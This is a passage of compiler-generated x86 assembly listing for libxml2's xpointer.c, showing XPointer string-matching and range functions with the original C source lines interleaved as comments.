; 2398 : cur = start;
; 2399 : pos = startindex - 1;
mov esi, ecx
mov edi, ebx
; 2400 : stringlen = xmlStrlen(string);
push edx
mov DWORD PTR _pos$1$[ebp], esi
call _xmlStrlen
mov ebx, eax
add esp, 4
; 2401 :
; 2402 : while (stringlen > 0) {
test ebx, ebx
jle SHORT $LN63@xmlXPtrSea
$LL21@xmlXPtrSea:
; 2403 : if ((cur == *end) && (pos + stringlen > *endindex))
mov ecx, DWORD PTR _end$[ebp]
lea eax, DWORD PTR [esi+ebx]
mov DWORD PTR tv429[ebp], eax
cmp edi, DWORD PTR [ecx]
jne SHORT $LN52@xmlXPtrSea
mov ecx, DWORD PTR _endindex$[ebp]
cmp eax, DWORD PTR [ecx]
jg $LN43@xmlXPtrSea
$LN52@xmlXPtrSea:
; 2404 : return(0);
; 2405 :
; 2406 : if ((cur->type != XML_ELEMENT_NODE) && (cur->content != NULL)) {
cmp DWORD PTR [edi+4], 1
je SHORT $LN35@xmlXPtrSea
mov eax, DWORD PTR [edi+40]
test eax, eax
je SHORT $LN35@xmlXPtrSea
; 2407 : len = xmlStrlen(cur->content);
push eax
call _xmlStrlen
mov ecx, DWORD PTR [edi+40]
mov esi, eax
mov eax, DWORD PTR _pos$1$[ebp]
add esp, 4
add ecx, eax
; 2408 : if (len >= pos + stringlen) {
lea edx, DWORD PTR [eax+ebx]
cmp esi, edx
jge SHORT $LN42@xmlXPtrSea
; 2421 : } else {
; 2422 : return(0);
; 2423 : }
; 2424 : } else {
; 2425 : int sub = len - pos;
sub esi, eax
; 2426 : match = (!xmlStrncmp(&cur->content[pos], string, sub));
push esi
push DWORD PTR _string$1$[ebp]
push ecx
call _xmlStrncmp
add esp, 12 ; 0000000cH
test eax, eax
; 2427 : if (match) {
jne SHORT $LN43@xmlXPtrSea
; 2428 : #ifdef DEBUG_RANGES
; 2429 : xmlGenericError(xmlGenericErrorContext,
; 2430 : "found subrange %d bytes at index %d of ->",
; 2431 : sub, pos + 1);
; 2432 : xmlDebugDumpString(stdout, cur->content);
; 2433 : xmlGenericError(xmlGenericErrorContext, "\n");
; 2434 : #endif
; 2435 : string = &string[sub];
add DWORD PTR _string$1$[ebp], esi
; 2436 : stringlen -= sub;
sub ebx, esi
$LN35@xmlXPtrSea:
; 2437 : } else {
; 2438 : return(0);
; 2439 : }
; 2440 : }
; 2441 : }
; 2442 : cur = xmlXPtrAdvanceNode(cur, NULL);
push 0
push edi
call _xmlXPtrAdvanceNode
mov edi, eax
add esp, 8
; 2443 : if (cur == NULL)
test edi, edi
je SHORT $LN43@xmlXPtrSea
; 2444 : return(0);
; 2445 : pos = 0;
xor esi, esi
mov DWORD PTR _pos$1$[ebp], esi
test ebx, ebx
jg SHORT $LL21@xmlXPtrSea
$LN63@xmlXPtrSea:
; 2502 : end, endindex)) {
; 2503 : *start = cur;
mov ecx, DWORD PTR _pos$2$[ebp]
$LN58@xmlXPtrSea:
lea esi, DWORD PTR [ecx+1]
$LN44@xmlXPtrSea:
mov ecx, DWORD PTR _start$[ebp]
mov eax, DWORD PTR _cur$1$[ebp]
mov DWORD PTR [ecx], eax
; 2504 : *startindex = pos + 1;
; 2505 : return(1);
mov eax, 1
mov ecx, DWORD PTR _startindex$[ebp]
mov DWORD PTR [ecx], esi
pop esi
pop edi
; 2538 : }
; 2539 : return(0);
; 2540 : }
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN42@xmlXPtrSea:
; 2409 : match = (!xmlStrncmp(&cur->content[pos], string, stringlen));
mov esi, DWORD PTR _pos$2$[ebp]
push ebx
push DWORD PTR _string$1$[ebp]
inc esi
push ecx
call _xmlStrncmp
add esp, 12 ; 0000000cH
test eax, eax
; 2410 : if (match) {
jne SHORT $LN56@xmlXPtrSea
; 2411 : #ifdef DEBUG_RANGES
; 2412 : xmlGenericError(xmlGenericErrorContext,
; 2413 : "found range %d bytes at index %d of ->",
; 2414 : stringlen, pos + 1);
; 2415 : xmlDebugDumpString(stdout, cur->content);
; 2416 : xmlGenericError(xmlGenericErrorContext, "\n");
; 2417 : #endif
; 2418 : *end = cur;
mov eax, DWORD PTR _end$[ebp]
; 2419 : *endindex = pos + stringlen;
mov ecx, DWORD PTR _endindex$[ebp]
mov DWORD PTR [eax], edi
mov eax, DWORD PTR tv429[ebp]
mov DWORD PTR [ecx], eax
; 2420 : return(1);
jmp SHORT $LN44@xmlXPtrSea
$LN43@xmlXPtrSea:
; 2506 : }
; 2507 : pos++;
; 2508 : } else {
mov esi, DWORD PTR _pos$2$[ebp]
inc esi
$LN56@xmlXPtrSea:
mov ebx, DWORD PTR _cur$1$[ebp]
mov edi, DWORD PTR _end$[ebp]
mov eax, DWORD PTR _len$1$[ebp]
jmp SHORT $LN15@xmlXPtrSea
$LN14@xmlXPtrSea:
; 2509 : pos = len + 1;
mov eax, DWORD PTR _len$1$[ebp]
lea esi, DWORD PTR [eax+1]
$LN15@xmlXPtrSea:
; 2489 : while (pos <= len) {
cmp esi, eax
jle $LL4@xmlXPtrSea
$LN66@xmlXPtrSea:
; 2528 : return(1);
; 2529 : }
; 2530 : }
; 2531 : }
; 2532 : if ((cur == *end) && (pos >= *endindex))
mov eax, DWORD PTR _endindex$[ebp]
$LN61@xmlXPtrSea:
cmp ebx, DWORD PTR [edi]
jne SHORT $LN17@xmlXPtrSea
cmp esi, DWORD PTR [eax]
jge SHORT $LN46@xmlXPtrSea
$LN17@xmlXPtrSea:
; 2533 : return(0);
; 2534 : cur = xmlXPtrAdvanceNode(cur, NULL);
push 0
push ebx
call _xmlXPtrAdvanceNode
mov ebx, eax
mov DWORD PTR _cur$1$[ebp], eax
add esp, 8
; 2535 : if (cur == NULL)
test ebx, ebx
je SHORT $LN46@xmlXPtrSea
; 2537 : pos = 1;
mov eax, DWORD PTR _endindex$[ebp]
mov esi, 1
jmp $LL2@xmlXPtrSea
$LN12@xmlXPtrSea:
; 2510 : }
; 2511 : } else {
; 2512 : /*
; 2513 : * An empty string is considered to match before each
; 2514 : * character of the string-value and after the final
; 2515 : * character.
; 2516 : */
; 2517 : #ifdef DEBUG_RANGES
; 2518 : xmlGenericError(xmlGenericErrorContext,
; 2519 : "found '' at index %d of ->",
; 2520 : pos + 1);
; 2521 : xmlDebugDumpString(stdout, cur->content);
; 2522 : xmlGenericError(xmlGenericErrorContext, "\n");
; 2523 : #endif
; 2524 : *start = cur;
mov ecx, DWORD PTR _start$[ebp]
; 2525 : *startindex = pos + 1;
lea eax, DWORD PTR [esi+1]
pop esi
mov DWORD PTR [ecx], ebx
mov ecx, DWORD PTR _startindex$[ebp]
mov DWORD PTR [ecx], eax
; 2526 : *end = cur;
; 2527 : *endindex = pos + 1;
mov ecx, DWORD PTR _endindex$[ebp]
mov DWORD PTR [edi], ebx
pop edi
; 2538 : }
; 2539 : return(0);
; 2540 : }
pop ebx
mov DWORD PTR [ecx], eax
mov eax, 1
mov esp, ebp
pop ebp
ret 0
$LN46@xmlXPtrSea:
pop esi
pop edi
; 2536 : return(0);
xor eax, eax
; 2538 : }
; 2539 : return(0);
; 2540 : }
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN8@xmlXPtrSea:
pop edi
; 2479 : return(-1);
or eax, -1
; 2538 : }
; 2539 : return(0);
; 2540 : }
pop ebx
mov esp, ebp
pop ebp
ret 0
_xmlXPtrSearchString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrMatchString
_TEXT SEGMENT
tv281 = -8 ; size = 4
_pos$1$ = -4 ; size = 4
_string$ = 8 ; size = 4
_start$ = 12 ; size = 4
_startindex$ = 16 ; size = 4
_end$ = 20 ; size = 4
_endindex$ = 24 ; size = 4
_xmlXPtrMatchString PROC ; COMDAT
; 2384 : xmlNodePtr *end, int *endindex) {
push ebp
mov ebp, esp
sub esp, 8
mov ecx, OFFSET __BEF3E6F7_xpointer@c
push esi
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _string$[ebp]
test ecx, ecx
je $LN6@xmlXPtrMat
; 2385 : xmlNodePtr cur;
; 2386 : int pos; /* 0 based */
; 2387 : int len; /* in bytes */
; 2388 : int stringlen; /* in bytes */
; 2389 : int match;
; 2390 :
; 2391 : if (string == NULL)
; 2392 : return(-1);
; 2393 : if ((start == NULL) || (start->type == XML_NAMESPACE_DECL))
mov esi, DWORD PTR _start$[ebp]
test esi, esi
je $LN6@xmlXPtrMat
cmp DWORD PTR [esi+4], 18 ; 00000012H
je $LN6@xmlXPtrMat
; 2395 : if ((end == NULL) || (*end == NULL) ||
; 2396 : ((*end)->type == XML_NAMESPACE_DECL) || (endindex == NULL))
mov eax, DWORD PTR _end$[ebp]
test eax, eax
je $LN6@xmlXPtrMat
mov eax, DWORD PTR [eax]
test eax, eax
je $LN6@xmlXPtrMat
cmp DWORD PTR [eax+4], 18 ; 00000012H
je $LN6@xmlXPtrMat
cmp DWORD PTR _endindex$[ebp], 0
je $LN6@xmlXPtrMat
; 2397 : return(-1);
; 2398 : cur = start;
; 2399 : pos = startindex - 1;
push ebx
push edi
mov edi, DWORD PTR _startindex$[ebp]
dec edi
; 2400 : stringlen = xmlStrlen(string);
push ecx
mov DWORD PTR _pos$1$[ebp], edi
call _xmlStrlen
mov ebx, eax
add esp, 4
; 2401 :
; 2402 : while (stringlen > 0) {
test ebx, ebx
jle $LN3@xmlXPtrMat
$LL2@xmlXPtrMat:
; 2403 : if ((cur == *end) && (pos + stringlen > *endindex))
mov ecx, DWORD PTR _end$[ebp]
lea eax, DWORD PTR [edi+ebx]
mov DWORD PTR tv281[ebp], eax
cmp esi, DWORD PTR [ecx]
jne SHORT $LN25@xmlXPtrMat
mov ecx, DWORD PTR _endindex$[ebp]
cmp eax, DWORD PTR [ecx]
jg $LN22@xmlXPtrMat
$LN25@xmlXPtrMat:
; 2404 : return(0);
; 2405 :
; 2406 : if ((cur->type != XML_ELEMENT_NODE) && (cur->content != NULL)) {
cmp DWORD PTR [esi+4], 1
je SHORT $LN16@xmlXPtrMat
mov eax, DWORD PTR [esi+40]
test eax, eax
je SHORT $LN16@xmlXPtrMat
; 2407 : len = xmlStrlen(cur->content);
push eax
call _xmlStrlen
mov edx, DWORD PTR [esi+40]
mov edi, eax
mov eax, DWORD PTR _pos$1$[ebp]
add esp, 4
add edx, eax
; 2408 : if (len >= pos + stringlen) {
lea ecx, DWORD PTR [eax+ebx]
cmp edi, ecx
jge SHORT $LN21@xmlXPtrMat
; 2421 : } else {
; 2422 : return(0);
; 2423 : }
; 2424 : } else {
; 2425 : int sub = len - pos;
sub edi, eax
; 2426 : match = (!xmlStrncmp(&cur->content[pos], string, sub));
push edi
push DWORD PTR _string$[ebp]
push edx
call _xmlStrncmp
add esp, 12 ; 0000000cH
test eax, eax
; 2427 : if (match) {
jne SHORT $LN22@xmlXPtrMat
; 2428 : #ifdef DEBUG_RANGES
; 2429 : xmlGenericError(xmlGenericErrorContext,
; 2430 : "found subrange %d bytes at index %d of ->",
; 2431 : sub, pos + 1);
; 2432 : xmlDebugDumpString(stdout, cur->content);
; 2433 : xmlGenericError(xmlGenericErrorContext, "\n");
; 2434 : #endif
; 2435 : string = &string[sub];
add DWORD PTR _string$[ebp], edi
; 2436 : stringlen -= sub;
sub ebx, edi
$LN16@xmlXPtrMat:
; 2437 : } else {
; 2438 : return(0);
; 2439 : }
; 2440 : }
; 2441 : }
; 2442 : cur = xmlXPtrAdvanceNode(cur, NULL);
push 0
push esi
call _xmlXPtrAdvanceNode
mov esi, eax
add esp, 8
; 2443 : if (cur == NULL)
test esi, esi
je SHORT $LN22@xmlXPtrMat
; 2445 : pos = 0;
xor edi, edi
mov DWORD PTR _pos$1$[ebp], edi
test ebx, ebx
jg SHORT $LL2@xmlXPtrMat
; 2420 : return(1);
lea eax, DWORD PTR [edi+1]
pop edi
pop ebx
pop esi
; 2446 : }
; 2447 : return(1);
; 2448 : }
mov esp, ebp
pop ebp
ret 0
$LN21@xmlXPtrMat:
; 2409 : match = (!xmlStrncmp(&cur->content[pos], string, stringlen));
push ebx
push DWORD PTR _string$[ebp]
push edx
call _xmlStrncmp
add esp, 12 ; 0000000cH
test eax, eax
; 2410 : if (match) {
jne SHORT $LN22@xmlXPtrMat
; 2411 : #ifdef DEBUG_RANGES
; 2412 : xmlGenericError(xmlGenericErrorContext,
; 2413 : "found range %d bytes at index %d of ->",
; 2414 : stringlen, pos + 1);
; 2415 : xmlDebugDumpString(stdout, cur->content);
; 2416 : xmlGenericError(xmlGenericErrorContext, "\n");
; 2417 : #endif
; 2418 : *end = cur;
mov eax, DWORD PTR _end$[ebp]
; 2419 : *endindex = pos + stringlen;
mov ecx, DWORD PTR _endindex$[ebp]
mov DWORD PTR [eax], esi
mov eax, DWORD PTR tv281[ebp]
mov DWORD PTR [ecx], eax
$LN3@xmlXPtrMat:
; 2420 : return(1);
pop edi
pop ebx
mov eax, 1
pop esi
; 2446 : }
; 2447 : return(1);
; 2448 : }
mov esp, ebp
pop ebp
ret 0
$LN22@xmlXPtrMat:
pop edi
pop ebx
; 2444 : return(0);
xor eax, eax
pop esi
; 2446 : }
; 2447 : return(1);
; 2448 : }
mov esp, ebp
pop ebp
ret 0
$LN6@xmlXPtrMat:
; 2394 : return(-1);
or eax, -1
pop esi
; 2446 : }
; 2447 : return(1);
; 2448 : }
mov esp, ebp
pop ebp
ret 0
_xmlXPtrMatchString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrAdvanceChar
_TEXT SEGMENT
_node$ = 8 ; size = 4
_indx$ = 12 ; size = 4
_bytes$ = 16 ; size = 4
_xmlXPtrAdvanceChar PROC ; COMDAT
; 2294 : xmlXPtrAdvanceChar(xmlNodePtr *node, int *indx, int bytes) {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _node$[ebp]
test ecx, ecx
je SHORT $LN7@xmlXPtrAdv
; 2295 : xmlNodePtr cur;
; 2296 : int pos;
; 2297 : int len;
; 2298 :
; 2299 : if ((node == NULL) || (indx == NULL))
mov edx, DWORD PTR _indx$[ebp]
test edx, edx
je SHORT $LN7@xmlXPtrAdv
; 2300 : return(-1);
; 2301 : cur = *node;
mov esi, DWORD PTR [ecx]
; 2302 : if ((cur == NULL) || (cur->type == XML_NAMESPACE_DECL))
test esi, esi
je SHORT $LN7@xmlXPtrAdv
cmp DWORD PTR [esi+4], 18 ; 00000012H
je SHORT $LN7@xmlXPtrAdv
; 2303 : return(-1);
; 2304 : pos = *indx;
; 2305 :
; 2306 : while (bytes >= 0) {
mov ebx, DWORD PTR _bytes$[ebp]
mov edi, DWORD PTR [edx]
test ebx, ebx
js SHORT $LN7@xmlXPtrAdv
$LL2@xmlXPtrAdv:
; 2307 : /*
; 2308 : * First position to the beginning of the first text node
; 2309 : * corresponding to this point
; 2310 : */
; 2311 : while ((cur != NULL) &&
test esi, esi
je SHORT $LN24@xmlXPtrAdv
$LL4@xmlXPtrAdv:
mov eax, DWORD PTR [esi+4]
cmp eax, 1
je SHORT $LN10@xmlXPtrAdv
cmp eax, 9
je SHORT $LN10@xmlXPtrAdv
cmp eax, 13 ; 0000000dH
jne SHORT $LN5@xmlXPtrAdv
$LN10@xmlXPtrAdv:
; 2312 : ((cur->type == XML_ELEMENT_NODE) ||
; 2313 : (cur->type == XML_DOCUMENT_NODE) ||
; 2314 : (cur->type == XML_HTML_DOCUMENT_NODE))) {
; 2315 : if (pos > 0) {
test edi, edi
jle SHORT $LN11@xmlXPtrAdv
; 2316 : cur = xmlXPtrGetNthChild(cur, pos);
push edi
push esi
call _xmlXPtrGetNthChild
; 2317 : pos = 0;
; 2318 : } else {
jmp SHORT $LN36@xmlXPtrAdv
$LN11@xmlXPtrAdv:
; 2319 : cur = xmlXPtrAdvanceNode(cur, NULL);
push 0
push esi
call _xmlXPtrAdvanceNode
$LN36@xmlXPtrAdv:
; 2307 : /*
; 2308 : * First position to the beginning of the first text node
; 2309 : * corresponding to this point
; 2310 : */
; 2311 : while ((cur != NULL) &&
mov esi, eax
add esp, 8
xor edi, edi
test esi, esi
jne SHORT $LL4@xmlXPtrAdv
$LN24@xmlXPtrAdv:
; 2320 : pos = 0;
; 2321 : }
; 2322 : }
; 2323 :
; 2324 : if (cur == NULL) {
; 2325 : *node = NULL;
mov ecx, DWORD PTR _node$[ebp]
mov DWORD PTR [ecx], 0
; 2326 : *indx = 0;
mov ecx, DWORD PTR _indx$[ebp]
mov DWORD PTR [ecx], 0
$LN7@xmlXPtrAdv:
; 2360 : return(0);
; 2361 : }
; 2362 : }
; 2363 : return(-1);
; 2364 : }
pop edi
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
$LN5@xmlXPtrAdv:
; 2327 : return(-1);
; 2328 : }
; 2329 :
; 2330 : /*
; 2331 : * if there is no move needed return the current value.
; 2332 : */
; 2333 : if (pos == 0) pos = 1;
test edi, edi
mov ecx, 1
cmove edi, ecx
; 2334 : if (bytes == 0) {
test ebx, ebx
je $LN25@xmlXPtrAdv
; 2338 : }
; 2339 : /*
; 2340 : * We should have a text (or cdata) node ...
; 2341 : */
; 2342 : len = 0;
xor ebx, ebx
; 2343 : if ((cur->type != XML_ELEMENT_NODE) &&
cmp eax, ecx
je SHORT $LN16@xmlXPtrAdv
mov eax, DWORD PTR [esi+40]
test eax, eax
je SHORT $LN16@xmlXPtrAdv
; 2344 : (cur->content != NULL)) {
; 2345 : len = xmlStrlen(cur->content);
push eax
call _xmlStrlen
add esp, 4
mov ebx, eax
$LN16@xmlXPtrAdv:
; 2346 : }
; 2347 : if (pos > len) {
cmp edi, ebx
jle SHORT $LN17@xmlXPtrAdv
; 2348 : /* Strange, the indx in the text node is greater than it's len */
; 2349 : STRANGE
call ___xmlGenericError
mov edi, eax
call ___xmlGenericErrorContext
push 2349 ; 0000092dH
push OFFSET ??_C@_0GK@GBFDPHAH@c?3?2users?2dag?2documents?2_clients@
push OFFSET ??_C@_0BJ@DADKHPPP@Internal?5error?5at?5?$CFs?3?$CFd?6@
push DWORD PTR [eax]
mov eax, DWORD PTR [edi]
call eax
add esp, 16 ; 00000010H
; 2350 : pos = len;
mov edi, ebx
$LN17@xmlXPtrAdv:
; 2351 : }
; 2352 : if (pos + bytes >= len) {
mov eax, DWORD PTR _bytes$[ebp]
add eax, edi
cmp eax, ebx
jl SHORT $LN26@xmlXPtrAdv
; 2353 : bytes -= (len - pos);
sub edi, ebx
mov ebx, DWORD PTR _bytes$[ebp]
; 2354 : cur = xmlXPtrAdvanceNode(cur, NULL);
push 0
add ebx, edi
push esi
mov DWORD PTR _bytes$[ebp], ebx
call _xmlXPtrAdvanceNode
add esp, 8
; 2355 : pos = 0;
xor edi, edi
mov esi, eax
test ebx, ebx
jns $LL2@xmlXPtrAdv
; 2360 : return(0);
; 2361 : }
; 2362 : }
; 2363 : return(-1);
; 2364 : }
pop edi
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
$LN26@xmlXPtrAdv:
; 2356 : } else if (pos + bytes < len) {
; 2357 : pos += bytes;
; 2358 : *node = cur;
mov ecx, DWORD PTR _node$[ebp]
pop edi
mov DWORD PTR [ecx], esi
; 2359 : *indx = pos;
mov ecx, DWORD PTR _indx$[ebp]
; 2360 : return(0);
; 2361 : }
; 2362 : }
; 2363 : return(-1);
; 2364 : }
pop esi
pop ebx
mov DWORD PTR [ecx], eax
xor eax, eax
pop ebp
ret 0
$LN25@xmlXPtrAdv:
; 2335 : *node = cur;
mov ecx, DWORD PTR _node$[ebp]
; 2336 : *indx = pos;
; 2337 : return(0);
xor eax, eax
mov DWORD PTR [ecx], esi
mov ecx, DWORD PTR _indx$[ebp]
mov DWORD PTR [ecx], edi
pop edi
; 2360 : return(0);
; 2361 : }
; 2362 : }
; 2363 : return(-1);
; 2364 : }
pop esi
pop ebx
pop ebp
ret 0
_xmlXPtrAdvanceChar ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrInsideRange
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_loc$ = 12 ; size = 4
_xmlXPtrInsideRange PROC ; COMDAT
; 2073 : xmlXPtrInsideRange(xmlXPathParserContextPtr ctxt, xmlXPathObjectPtr loc) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _loc$[ebp]
test eax, eax
je SHORT $LN10@xmlXPtrIns
; 2074 : if (loc == NULL)
; 2075 : return(NULL);
; 2076 : if ((ctxt == NULL) || (ctxt->context == NULL) ||
mov ecx, DWORD PTR _ctxt$[ebp]
test ecx, ecx
je SHORT $LN10@xmlXPtrIns
mov ecx, DWORD PTR [ecx+12]
test ecx, ecx
je SHORT $LN10@xmlXPtrIns
cmp DWORD PTR [ecx], 0
je SHORT $LN10@xmlXPtrIns
; 2077 : (ctxt->context->doc == NULL))
; 2078 : return(NULL);
; 2079 : switch (loc->type) {
mov ecx, DWORD PTR [eax]
sub ecx, 5
je SHORT $LN11@xmlXPtrIns
sub ecx, 1
je SHORT $LN17@xmlXPtrIns
; 2115 : case XML_PI_NODE:
; 2116 : case XML_COMMENT_NODE:
; 2117 : case XML_TEXT_NODE:
; 2118 : case XML_CDATA_SECTION_NODE: {
; 2119 : if (node->content == NULL) {
; 2120 : return(xmlXPtrNewRange(node, 0, node, 0));
; 2121 : } else {
; 2122 : return(xmlXPtrNewRange(node, 0, node,
; 2123 : xmlStrlen(node->content)));
; 2124 : }
; 2125 : }
; 2126 : case XML_ATTRIBUTE_NODE:
; 2127 : case XML_ELEMENT_NODE:
; 2128 : case XML_ENTITY_REF_NODE:
; 2129 : case XML_DOCUMENT_NODE:
; 2130 : case XML_NOTATION_NODE:
; 2131 : case XML_HTML_DOCUMENT_NODE: {
; 2132 : return(xmlXPtrNewRange(node, 0, node,
; 2133 : xmlXPtrGetArity(node)));
; 2134 : }
; 2135 : default:
; 2136 : break;
; 2137 : }
; 2138 : return(NULL);
; 2139 : }
; 2140 : }
; 2141 : default:
; 2142 : TODO /* missed one case ??? */
call ___xmlGenericError
mov esi, eax
call ___xmlGenericErrorContext
push 2142 ; 0000085eH
push OFFSET ??_C@_0GK@GBFDPHAH@c?3?2users?2dag?2documents?2_clients@
push OFFSET ??_C@_0BO@MDEMDPPE@Unimplemented?5block?5at?5?$CFs?3?$CFd?6@
push DWORD PTR [eax]
mov eax, DWORD PTR [esi]
call eax
add esp, 16 ; 00000010H
$LN10@xmlXPtrIns:
; 2143 : }
; 2144 : return(NULL);
; 2145 : }
xor eax, eax
pop esi
pop ebp
ret 0
$LN17@xmlXPtrIns:
; 2083 : case XML_PI_NODE:
; 2084 : case XML_COMMENT_NODE:
; 2085 : case XML_TEXT_NODE:
; 2086 : case XML_CDATA_SECTION_NODE: {
; 2087 : if (node->content == NULL) {
; 2088 : return(xmlXPtrNewRange(node, 0, node, 0));
; 2089 : } else {
; 2090 : return(xmlXPtrNewRange(node, 0, node,
; 2091 : xmlStrlen(node->content)));
; 2092 : }
; 2093 : }
; 2094 : case XML_ATTRIBUTE_NODE:
; 2095 : case XML_ELEMENT_NODE:
; 2096 : case XML_ENTITY_REF_NODE:
; 2097 : case XML_DOCUMENT_NODE:
; 2098 : case XML_NOTATION_NODE:
; 2099 : case XML_HTML_DOCUMENT_NODE: {
; 2100 : return(xmlXPtrNewRange(node, 0, node,
; 2101 : xmlXPtrGetArity(node)));
; 2102 : }
; 2103 : default:
; 2104 : break;
; 2105 : }
; 2106 : return(NULL);
; 2107 : }
; 2108 : case XPATH_RANGE: {
; 2109 : xmlNodePtr node = (xmlNodePtr) loc->user;
; 2110 : if (loc->user2 != NULL) {
mov ecx, DWORD PTR [eax+36]
mov esi, DWORD PTR [eax+28]
test ecx, ecx
je SHORT $LN18@xmlXPtrIns
; 2111 : return(xmlXPtrNewRange(node, loc->index,
push DWORD PTR [eax+40]
push ecx
push DWORD PTR [eax+32]
push esi
call _xmlXPtrNewRange
add esp, 16 ; 00000010H
pop esi
; 2143 : }
; 2144 : return(NULL);
; 2145 : }
pop ebp
ret 0
$LN18@xmlXPtrIns:
; 2112 : loc->user2, loc->index2));
; 2113 : } else {
; 2114 : switch (node->type) {
mov eax, DWORD PTR [esi+4]
dec eax
cmp eax, 12 ; 0000000cH
ja SHORT $LN10@xmlXPtrIns
movzx eax, BYTE PTR $LN39@xmlXPtrIns[eax]
jmp DWORD PTR $LN44@xmlXPtrIns[eax*4]
$LN11@xmlXPtrIns:
; 2080 : case XPATH_POINT: {
; 2081 : xmlNodePtr node = (xmlNodePtr) loc->user;
mov esi, DWORD PTR [eax+28]
; 2082 : switch (node->type) {
mov eax, DWORD PTR [esi+4]
dec eax
cmp eax, 12 ; 0000000cH
ja SHORT $LN10@xmlXPtrIns
movzx eax, BYTE PTR $LN40@xmlXPtrIns[eax]
jmp DWORD PTR $LN45@xmlXPtrIns[eax*4]
$LN12@xmlXPtrIns:
; 2143 : }
; 2144 : return(NULL);
; 2145 : }
mov eax, DWORD PTR [esi+40]
test eax, eax
jne SHORT $LN13@xmlXPtrIns
push eax
push esi
push eax
push esi
call _xmlXPtrNewRangeInternal
mov esi, eax
push esi
call _xmlXPtrRangeCheckOrder
add esp, 20 ; 00000014H
mov eax, esi
pop esi
pop ebp
ret 0
$LN13@xmlXPtrIns:
push eax
call _xmlStrlen
push eax
push esi
push 0
push esi
call _xmlXPtrNewRange
add esp, 20 ; 00000014H
pop esi
pop ebp
ret 0
$LN14@xmlXPtrIns:
push esi
call _xmlXPtrGetArity
push eax
push esi
push 0
push esi
call _xmlXPtrNewRange
add esp, 20 ; 00000014H
pop esi
pop ebp
ret 0
npad 1
$LN44@xmlXPtrIns:
DD $LN14@xmlXPtrIns
DD $LN12@xmlXPtrIns
DD $LN10@xmlXPtrIns
$LN39@xmlXPtrIns:
DB 0
DB 0
DB 1
DB 1
DB 0
DB 2
DB 1
DB 1
DB 0
DB 2
DB 2
DB 0
DB 0
npad 3
$LN45@xmlXPtrIns:
DD $LN14@xmlXPtrIns
DD $LN12@xmlXPtrIns
DD $LN10@xmlXPtrIns
$LN40@xmlXPtrIns:
DB 0
DB 0
DB 1
DB 1
DB 0
DB 2
DB 1
DB 1
DB 0
DB 2
DB 2
DB 0
DB 0
_xmlXPtrInsideRange ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrCoveringRange
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_loc$ = 12 ; size = 4
_xmlXPtrCoveringRange PROC ; COMDAT
; 1949 : xmlXPtrCoveringRange(xmlXPathParserContextPtr ctxt, xmlXPathObjectPtr loc) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _loc$[ebp]
test ecx, ecx
je SHORT $LN8@xmlXPtrCov
; 1950 : if (loc == NULL)
; 1951 : return(NULL);
; 1952 : if ((ctxt == NULL) || (ctxt->context == NULL) ||
mov eax, DWORD PTR _ctxt$[ebp]
test eax, eax
je SHORT $LN8@xmlXPtrCov
mov eax, DWORD PTR [eax+12]
test eax, eax
je SHORT $LN8@xmlXPtrCov
mov edx, DWORD PTR [eax]
test edx, edx
je SHORT $LN8@xmlXPtrCov
; 1953 : (ctxt->context->doc == NULL))
; 1954 : return(NULL);
; 1955 : switch (loc->type) {
mov eax, DWORD PTR [ecx]
sub eax, 5
je $LN9@xmlXPtrCov
sub eax, 1
je SHORT $LN10@xmlXPtrCov
; 1987 : node, indx + 1));
; 1988 : }
; 1989 : default:
; 1990 : return(NULL);
; 1991 : }
; 1992 : }
; 1993 : }
; 1994 : default:
; 1995 : TODO /* missed one case ??? */
call ___xmlGenericError
mov esi, eax
call ___xmlGenericErrorContext
push 1995 ; 000007cbH
push OFFSET ??_C@_0GK@GBFDPHAH@c?3?2users?2dag?2documents?2_clients@
push OFFSET ??_C@_0BO@MDEMDPPE@Unimplemented?5block?5at?5?$CFs?3?$CFd?6@
push DWORD PTR [eax]
mov eax, DWORD PTR [esi]
call eax
add esp, 16 ; 00000010H
$LN8@xmlXPtrCov:
; 1996 : }
; 1997 : return(NULL);
; 1998 : }
xor eax, eax
pop esi
pop ebp
ret 0
$LN10@xmlXPtrCov:
; 1958 : loc->user, loc->index));
; 1959 : case XPATH_RANGE:
; 1960 : if (loc->user2 != NULL) {
mov eax, DWORD PTR [ecx+36]
test eax, eax
je SHORT $LN11@xmlXPtrCov
; 1961 : return(xmlXPtrNewRange(loc->user, loc->index,
push DWORD PTR [ecx+40]
push eax
push DWORD PTR [ecx+32]
push DWORD PTR [ecx+28]
call _xmlXPtrNewRange
add esp, 16 ; 00000010H
pop esi
; 1996 : }
; 1997 : return(NULL);
; 1998 : }
pop ebp
ret 0
$LN11@xmlXPtrCov:
; 1962 : loc->user2, loc->index2));
; 1963 : } else {
; 1964 : xmlNodePtr node = (xmlNodePtr) loc->user;
mov esi, DWORD PTR [ecx+28]
; 1965 : if (node == (xmlNodePtr) ctxt->context->doc) {
cmp esi, edx
je SHORT $LN15@xmlXPtrCov
; 1966 : return(xmlXPtrNewRange(node, 0, node,
; 1967 : xmlXPtrGetArity(node)));
